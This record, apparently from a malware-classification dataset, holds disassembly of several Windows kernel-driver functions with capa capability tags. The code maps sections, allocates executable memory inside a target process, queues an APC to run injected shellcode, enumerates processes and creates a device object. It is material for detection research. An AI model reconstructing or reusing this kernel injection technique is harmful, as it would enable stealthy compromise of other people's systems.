joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404c20
Capabilities:
Map section object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x30]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov ecx, 0x100020
push 0x20
mov dword [ebp - 0x28], eax
xor ebx, ebx
push 1
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], ebx
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 8], ebx
push eax
push ecx
lea eax, [ebp - 0xc]
mov dword [ebp - 4], ebx
push eax
mov dword [ebp - 0x30], 0x18
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], 0x40
mov dword [ebp + 8], ecx
call dword [sym.imp.ntoskrnl.exe_ZwOpenFile]
mov esi, eax
test esi, esi
js 0x404d12
push dword [ebp - 0xc]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x28], ebx
push 0x1000000
push 0x10
push ebx
push eax
push 0xf001f
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwCreateSection]
mov esi, eax
test esi, esi
js 0x404d12
push 2
push 0x100000
push 1
lea eax, [ebp + 8]
mov dword [ebp + 8], ebx
push eax
push ebx
push 0x10000
push ebx
lea eax, [ebp - 4]
push eax
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ZwMapViewOfSection]
mov esi, eax
test esi, esi
js 0x404d12
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp - 4]
call fcn.004047ae
mov esi, eax
test esi, esi
js 0x404d12
mov edi, dword [ebp - 0x10]
cmp dword [ebp + 0x14], ebx
je 0x404d02
cmp dword [ebp + 0x18], ebx
je 0x404d02
push dword [ebp + 0x18]
push edi
push dword [ebp + 0x14]
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp - 4]
test ecx, ecx
je 0x404d15
sub edi, eax
mov dword [ecx], edi
jmp 0x404d15
mov eax, dword [ebp - 4]
test eax, eax
je 0x404d22
push eax
push 0xffffffffffffffff
call dword [sym.imp.ntoskrnl.exe_ZwUnmapViewOfSection]
mov edi, dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp dword [ebp - 8], ebx
je 0x404d32
push dword [ebp - 8]
call edi
cmp dword [ebp - 0xc], ebx
je 0x404d3c
push dword [ebp - 0xc]
call edi
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x404e4e
Capabilities:
Map section object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor edi, edi
lea eax, [ebp - 0x24]
mov dword [ebp - 4], edi
push eax
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
mov dword [ebp - 0x24], 0x18
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x18], 0x240
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.ntoskrnl.exe_ZwOpenSection]
mov esi, eax
test esi, esi
js 0x404eee
push 2
push 0x100000
push 1
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], edi
push eax
push edi
push 0x4000
push edi
lea eax, [ebp - 4]
push eax
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ZwMapViewOfSection]
mov esi, eax
test esi, esi
js 0x404eee
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
push dword [ebp - 4]
call fcn.004047ae
mov esi, eax
test esi, esi
js 0x404eee
cmp dword [ebp + 0x14], edi
je 0x404f18
cmp dword [ebp + 0x18], edi
je 0x404f18
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
test al, al
jne 0x404f18
mov esi, 0xc0000001
mov edi, dword [ebp - 4]
test edi, edi
je 0x404eff
push edi
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ZwUnmapViewOfSection]
cmp dword [ebp - 8], 0
je 0x404f0e
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x14
mov ecx, dword [ebp + 0x10]
mov edi, dword [ebp - 4]
test ecx, ecx
je 0x404f29
mov eax, dword [ebp + 8]
sub eax, edi
mov dword [ecx], eax
push dword [ebp + 0x18]
push dword [ebp + 8]
push dword [ebp + 0x14]
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
jmp 0x404ef1
Function at 0x404f3c
Capabilities:
Allocate or change rwx memory
Attach user process memory
Execute shellcode via indirect call

Disassembly:
push 0x24
push 0x402548
call fcn.00401000
xor esi, esi
mov eax, dword [ebp + 0x14]
mov dword [eax], esi
mov eax, dword [ebp + 0x18]
mov dword [eax], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x1c], esi
mov ebx, esi
lea eax, [ebp - 0x24]
push eax
push esi
push esi
push 0x1fffff
push esi
push 0x200
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_ObOpenObjectByPointer]
mov edi, eax
test edi, edi
js 0x4050a6
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0x9c]
add eax, 0xa0
mov dword [ebp - 0x28], eax
mov ecx, fcn.0040149c
sub ecx, 0x4013e0
mov dword [ebp - 0x2c], ecx
add eax, ecx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp + 0xc]
cmp eax, ecx
jae 0x404fae
mov dword [ebp - 0x20], ecx
push 0x40
push 0x1000
lea eax, [ebp - 0x20]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov edi, eax
test edi, edi
js 0x4050a6
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x28]
mov dword [ebp + 0xc], eax
mov edi, 0xc0000001
push 0x18
pop eax
mov dword [ebp - 0x20], eax
push 0x4d415043
push eax
push esi
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov ebx, eax
mov dword [ebp - 0x34], ebx
test ebx, ebx
je 0x4050bd
push ebx
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov dword [ebp - 4], esi
mov edi, dword [ebp - 0x28]
push edi
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
push edi
mov ecx, dword [ebp - 0x1c]
push ecx
lea eax, [ecx + 0x40]
push eax
push esi
lea eax, [ecx + 0x80]
push eax
call fcn.00404506
mov edi, eax
mov dword [ebp - 0x30], edi
test edi, edi
jns 0x405046
mov dword [ebp - 4], 0xfffffffe
jmp 0x4050a6
push dword [ebp - 0x2c]
push 0x4013e0
push dword [ebp + 0xc]
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
mov dword [ebp - 4], 0xfffffffe
jmp 0x40507b
test edi, edi
js 0x4050a6
push ebx
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
push 0x4d415043
push ebx
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov ebx, esi
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp + 0x14]
mov dword [eax], ecx
mov ecx, dword [ebp + 0x18]
mov eax, dword [ebp + 0xc]
mov dword [ecx], eax
mov edi, esi
test ebx, ebx
je 0x4050bd
push ebx
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
push 0x4d415043
push ebx
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
test edi, edi
jns 0x4050e0
cmp dword [ebp - 0x1c], 0
je 0x4050e0
mov dword [ebp - 0x20], esi
push 0x8000
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.ntoskrnl.exe_ZwFreeVirtualMemory]
cmp dword [ebp - 0x24], 0
je 0x4050ef
push dword [ebp - 0x24]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, edi
call fcn.00401045
ret 0x14
Function at 0x40518c
Capabilities:
Find process by pid
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
lea eax, [ebp - 8]
xor ebx, ebx
push eax
push dword [ebp + 8]
mov dword [ebp - 8], ebx
mov edi, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov esi, eax
test esi, esi
js 0x4052a2
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.ntoskrnl.exe_PsLookupThreadByThreadId]
mov esi, eax
test esi, esi
js 0x4052a2
mov ecx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
mov dword [ecx + 0x94], eax
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 0x14]
mov dword [ecx + 0x90], 3
push eax
push ecx
push ebx
push dword [ebp - 8]
mov dword [ecx + 0x98], ebx
call fcn.00404f3c
mov esi, eax
test esi, esi
js 0x4052a2
push 0x4d415043
push 0x1c
push 1
mov esi, 0xc0000001
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov ebx, eax
mov dword [ebp - 0xc], ebx
test ebx, ebx
je 0x4052a2
push 7
pop ecx
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [ebx], eax
mov eax, dword [ebp + 0x14]
push 0x4d415043
mov dword [ebx + 0x14], eax
mov eax, dword [ebp + 0xc]
push 0x400
push 0
mov dword [ebx + 0x10], eax
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov edi, eax
test edi, edi
je 0x4052a2
push ebx
push 1
mov dword [ebx + 4], edi
xor esi, esi
mov ebx, dword [ebp + 0xc]
push ebx
push esi
push fcn.004050fa
push esi
push dword [ebp - 4]
push edi
call sub.ntoskrnl.exe_KeInitializeApc
push esi
push esi
push esi
push edi
call sub.ntoskrnl.exe_KeInsertQueueApc
movzx esi, al
neg esi
sbb esi, esi
and esi, 0x3fffffff
add esi, 0xc0000001
js 0x4052a2
push dword [ebp + 0x14]
push ebx
push 0x40ecbe
call sub.ntoskrnl.exe_DbgPrint
add esp, 0xc
mov ecx, dword [ebp - 4]
mov ebx, dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
test ecx, ecx
je 0x4052b1
call ebx
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x4052ba
call ebx
test esi, esi
jns 0x4052cd
xor ecx, ecx
lea eax, [ebp - 0xc]
push ecx
push ecx
push eax
push ecx
push edi
call fcn.004050fa
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x405376
Capabilities:
Find process by pid

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.ntoskrnl.exe_PsLookupThreadByThreadId]
mov esi, eax
test esi, esi
js 0x405447
test byte [ebp + 0x10], 1
mov esi, 0xc0000001
mov edx, dword [ebp - 4]
je 0x4053c7
mov eax, dword [0x4031f4]
mov cl, byte [0x4031f8]
mov al, byte [eax + edx]
shr al, cl
test al, 1
je 0x40544a
test byte [ebp + 0x10], 2
je 0x405443
push edx
call sub.ntoskrnl.exe_PsGetThreadTeb
mov edi, eax
test edi, edi
je 0x405447
mov ecx, dword [sym.imp.ntoskrnl.exe_MmUserProbeAddress]
cmp edi, dword [ecx]
ja 0x405447
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov esi, eax
test esi, esi
js 0x405447
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push 0x1fffff
push ebx
push 0x200
push dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ObOpenObjectByPointer]
mov esi, eax
test esi, esi
js 0x405447
push ebx
push 4
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], ebx
push eax
lea eax, [edi + 0x1a8]
push eax
push dword [ebp - 8]
call dword [0x4031bc]
mov esi, eax
test esi, esi
js 0x405447
mov esi, 0xc0000001
cmp dword [ebp + 0xc], ebx
je 0x405447
mov edx, dword [ebp - 4]
mov esi, ebx
jmp 0x40544a
mov edx, dword [ebp - 4]
mov edi, dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
test edx, edx
je 0x405458
mov ecx, edx
call edi
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x405461
call edi
cmp dword [ebp - 8], ebx
je 0x40546f
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40547a
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push edi
xor edi, edi
test ebx, ebx
je 0x40548c
mov dword [ebx], edi
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x405495
mov dword [eax], edi
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp cx, word [eax]
jne 0x4054a9
mov eax, 0xc0000001
jmp 0x4055a0
push esi
call fcn.004052d8
mov esi, eax
test esi, esi
js 0x40559d
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], edi
push eax
push edi
push edi
push 5
call sub.ntoskrnl.exe_ZwQuerySystemInformation
mov esi, eax
cmp dword [ebp + 0xc], edi
je 0x40559d
push 0x53595356
push dword [ebp + 0xc]
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [ebp - 8], eax
test eax, eax
je 0x40559d
lea ecx, [ebp + 0xc]
push ecx
push dword [ebp + 0xc]
push eax
push 5
call sub.ntoskrnl.exe_ZwQuerySystemInformation
mov esi, eax
test esi, esi
js 0x40558f
mov eax, dword [ebp - 8]
mov esi, 0xc0000001
jmp 0x40551a
mov ecx, dword [eax]
test ecx, ecx
je 0x40558f
add eax, ecx
push 1
push dword [ebp + 8]
mov dword [ebp - 4], eax
add eax, 0x38
push eax
call dword [sym.imp.ntoskrnl.exe_RtlCompareUnicodeString]
test eax, eax
mov eax, dword [ebp - 4]
jne 0x405512
mov ecx, esi
test eax, eax
je 0x40558f
mov esi, edi
test ebx, ebx
je 0x405547
mov eax, dword [eax + 0x44]
mov dword [ebx], eax
mov eax, dword [ebp - 4]
cmp dword [ebp + 0x10], esi
je 0x40558f
mov esi, ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 4], ecx
test ecx, ecx
je 0x40558f
add eax, 0xdc
mov dword [ebp + 8], eax
push dword [ebp + 0x14]
mov eax, dword [eax]
push eax
push dword [ebx]
mov dword [ebp + 0xc], eax
call fcn.00405376
mov esi, eax
test esi, esi
jns 0x405587
mov eax, dword [ebp + 8]
inc edi
add eax, 0x40
mov dword [ebp + 8], eax
cmp edi, dword [ebp - 4]
jb 0x405560
jmp 0x40558f
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov dword [ecx], eax
push 0x53595356
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, esi
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4055fe
Capabilities:
Check os version
Find process by pid

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [0x4031a4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0x18]
mov dword [ebp - 0x13c], eax
xor eax, eax
test edi, edi
je 0x40562b
mov dword [edi], eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x120], eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlGetVersion]
lea eax, [ebp - 0x12c]
push eax
push ebx
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov esi, eax
test esi, esi
js 0x4057e0
xor eax, eax
mov dword [ebp - 0x160], 0x18
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x144], eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x160]
mov dword [ebp - 0x154], 0x40
push eax
push 0x1fffff
lea eax, [ebp - 0x124]
mov dword [ebp - 0x148], ebx
push eax
call dword [sym.imp.ntoskrnl.exe_ZwOpenProcess]
mov esi, eax
test esi, esi
js 0x4057e0
push 0x40ed50
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push 0
push 0
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x138]
push eax
push ebx
call fcn.00404aa8
mov esi, eax
test esi, esi
js 0x4057e0
push 0x40ed64
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
and dword [ebp - 0x128], 0
lea eax, [ebp - 0x128]
push 0
push 0
push eax
push 0x40ed8e
lea eax, [ebp - 0x138]
push eax
call fcn.00404e4e
mov esi, eax
test esi, esi
js 0x4057e0
mov ecx, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x130]
add eax, dword [ebp - 0x128]
mov dword [ecx + 0x98], eax
mov eax, dword [ebp + 0x10]
mov dword [ecx + 0x94], eax
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x120]
mov dword [ecx + 0x90], 1
push eax
push ecx
push 0
push dword [ebp - 0x12c]
call fcn.00404f3c
mov esi, eax
test esi, esi
js 0x4057e0
cmp dword [ebp - 0x114], 6
jae 0x40579c
mov esi, 0xc0000001
jmp 0x4057e0
lea eax, [ebp - 0x11c]
push eax
push dword [ebp - 0x120]
push dword [ebp - 0x140]
push dword [ebp - 0x124]
push dword [ebp - 0x12c]
call fcn.004055b2
mov esi, eax
test esi, esi
js 0x4057e0
and dword [ebp - 0x120], 0
test edi, edi
je 0x40580f
mov eax, dword [ebp - 0x11c]
and dword [ebp - 0x11c], 0
mov dword [edi], eax
cmp dword [ebp - 0x120], 0
je 0x40580f
and dword [ebp - 0x128], 0
lea eax, [ebp - 0x128]
push 0x8000
push eax
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x124]
call dword [sym.imp.ntoskrnl.exe_ZwFreeVirtualMemory]
mov ecx, dword [ebp - 0x12c]
test ecx, ecx
je 0x40581f
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
cmp dword [ebp - 0x124], 0
mov edi, dword [sym.imp.ntoskrnl.exe_ZwClose]
je 0x405836
push dword [ebp - 0x124]
call edi
cmp dword [ebp - 0x11c], 0
je 0x405847
push dword [ebp - 0x11c]
call edi
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401c84
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4065f2
Capabilities:
Get file attributes
Map section object
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [0x4031a4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x58]
push esi
mov esi, dword [ebp + 8]
push eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x48], ebx
call dword [sym.imp.ntoskrnl.exe_KeQuerySystemTime]
mov dword [ebp - 0x44], 4
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlRandom]
xor edx, edx
push 0x1a
pop ecx
div ecx
mov eax, dword [ebp - 0x44]
add dl, 0x61
mov byte [ebp + eax - 0x24], dl
inc eax
mov dword [ebp - 0x44], eax
cmp eax, 0x20
jb 0x406626
push ebx
lea eax, [ebp - 0x58]
mov dword [ebp - 0x24], 0x72647567
push eax
push 0x20
lea eax, [ebp - 0x24]
mov dword [ebp - 0x58], 0x4e
push eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x54], ebx
push eax
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.ntoskrnl.exe_ZwWriteFile]
test eax, eax
js 0x406704
push 5
push 0x18
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x50]
push eax
push esi
call dword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
test eax, eax
js 0x406704
push edi
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x70]
push esi
push 0x8000000
push 4
push ebx
push eax
push 0xf001f
lea eax, [ebp - 0x40]
mov dword [ebp - 0x70], 0x18
push eax
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x64], 0x240
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
call dword [sym.imp.ntoskrnl.exe_ZwCreateSection]
test eax, eax
js 0x406703
push 4
push 0x100000
push 1
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], ebx
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x48]
push eax
push 0xffffffffffffffff
push dword [ebp - 0x40]
call dword [sym.imp.ntoskrnl.exe_ZwMapViewOfSection]
test eax, eax
js 0x406703
push ebx
push 1
push edi
push dword [ebp - 0x48]
call fcn.0040489e
pop edi
cmp dword [ebp - 0x48], ebx
je 0x406714
push dword [ebp - 0x48]
push 0xffffffffffffffff
call dword [sym.imp.ntoskrnl.exe_ZwUnmapViewOfSection]
cmp dword [ebp - 0x40], ebx
je 0x406722
push dword [ebp - 0x40]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], ebx
push eax
push esi
mov dword [ebp - 0x4c], ebx
call dword [sym.imp.ntoskrnl.exe_ZwFlushBuffersFile]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00401c84
mov esp, ebp
pop ebp
ret 4
Function at 0x406746
Capabilities:
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
mov dword [ebp - 0x24], eax
push edi
push edi
push 0x60
push 3
push edi
push 0x80
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], edi
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 8], edi
push eax
push 0x1f01ff
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
mov dword [ebp - 0x2c], 0x18
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x20], 0x240
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], edi
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
mov esi, dword [ebp + 8]
test eax, eax
js 0x406867
push 0x47554452
push 0x1000
push edi
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov edi, eax
test edi, edi
je 0x406865
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
jmp 0x4067ff
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0x14]
xor edx, edx
mov dword [ebp + 8], eax
push edx
push ecx
push eax
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], edx
push eax
push edx
push edx
push edx
push dword [ebp - 4]
mov dword [ebp - 8], edx
call dword [sym.imp.ntoskrnl.exe_ZwWriteFile]
test eax, eax
js 0x40685c
mov eax, dword [ebp + 8]
add dword [ebp - 0x14], eax
push 0
pop ecx
adc dword [ebp - 0x10], ecx
push ecx
lea eax, [ebp - 0x14]
mov dword [ebp - 0xc], ecx
push eax
push 0x1000
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ecx
push eax
push ecx
push ecx
push ecx
push dword [esi]
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
mov ecx, eax
test ecx, ecx
jns 0x4067ca
lea eax, [ecx + 0x3fffffef]
neg eax
sbb eax, eax
and eax, ecx
jl 0x40685c
push 0xd
push 1
lea eax, [ebp + 0xf]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [esi]
call dword [sym.imp.ntoskrnl.exe_ZwSetInformationFile]
test eax, eax
js 0x40685c
push dword [esi]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [ebp - 4]
and dword [ebp - 4], 0
mov dword [esi], eax
push 0
push edi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor edi, edi
cmp dword [ebp - 4], 0
je 0x406876
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], edi
push eax
push dword [esi]
mov dword [ebp - 8], edi
call dword [sym.imp.ntoskrnl.exe_ZwFlushBuffersFile]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x406890
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x4031a4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
push dword [0x403250]
mov edi, ecx
call fcn.004065f2
test eax, eax
js 0x4069c0
push 0x40edbc
push 5
push 0
push 0x40edc6
push 0x40
push ebx
call section.PAGE
test eax, eax
js 0x4069c0
push 0x100
lea eax, [ebp - 0x104]
push 0
push eax
call sub.ntoskrnl.exe_memset
add esp, 0xc
mov dword [ebp - 0x10c], 0xea0000
lea eax, [ebp - 0xf8]
mov dword [ebp - 0x108], eax
lea eax, [ebp - 0x10c]
push 0x40edd4
push eax
call dword [sym.imp.ntoskrnl.exe_RtlAppendUnicodeToString]
push ebx
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlAppendUnicodeToString]
movzx eax, word [ebp - 0x10c]
xor ebx, ebx
mov dword [ebp - 0xfc], eax
add eax, 0x10
push 0xa
push eax
lea eax, [ebp - 0x104]
mov byte [ebp - 0x104], 1
push eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x100], ebx
push eax
push dword [0x403250]
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x110], ebx
call dword [sym.imp.ntoskrnl.exe_ZwSetInformationFile]
test eax, eax
jns 0x40698a
lea eax, [ebp - 0x10c]
mov ecx, edi
push eax
push 0x403250
call fcn.00406746
test eax, eax
js 0x4069c0
lea eax, [ebp - 0x10c]
push eax
push 0x403244
call dword [sym.imp.ntoskrnl.exe_RtlCopyUnicodeString]
movzx eax, word [ebp - 0x10c]
add eax, 2
push eax
push dword [ebp - 0x108]
push 2
push 0x40ec4a
push ebx
push dword [0x403254]
call fcn.0040446a
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00401c84
mov esp, ebp
pop ebp
ret 4

Function at 0x406bf0
Capabilities:
Create device object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x403234], 0
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push edi
mov edi, 0x40ee9e
jne 0x406c35
push edi
lea eax, [ebp - 8]
push eax
call esi
push 0x403234
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push ecx
push 0x22
push eax
push ecx
push dword [0x403230]
call dword [sym.imp.ntoskrnl.exe_IoCreateDevice]
mov ecx, eax
test ecx, ecx
js 0x406c70
push edi
lea eax, [ebp - 8]
push eax
call esi
push 0x40eebe
lea eax, [ebp - 0x10]
push eax
call esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov ecx, eax
test ecx, ecx
js 0x406c70
mov eax, dword [0x403234]
or dword [eax + 0x1c], 4
mov eax, dword [0x403234]
and dword [eax + 0x1c], 0xffffff7f
pop edi
mov eax, ecx
pop esi
mov esp, ebp
pop ebp
ret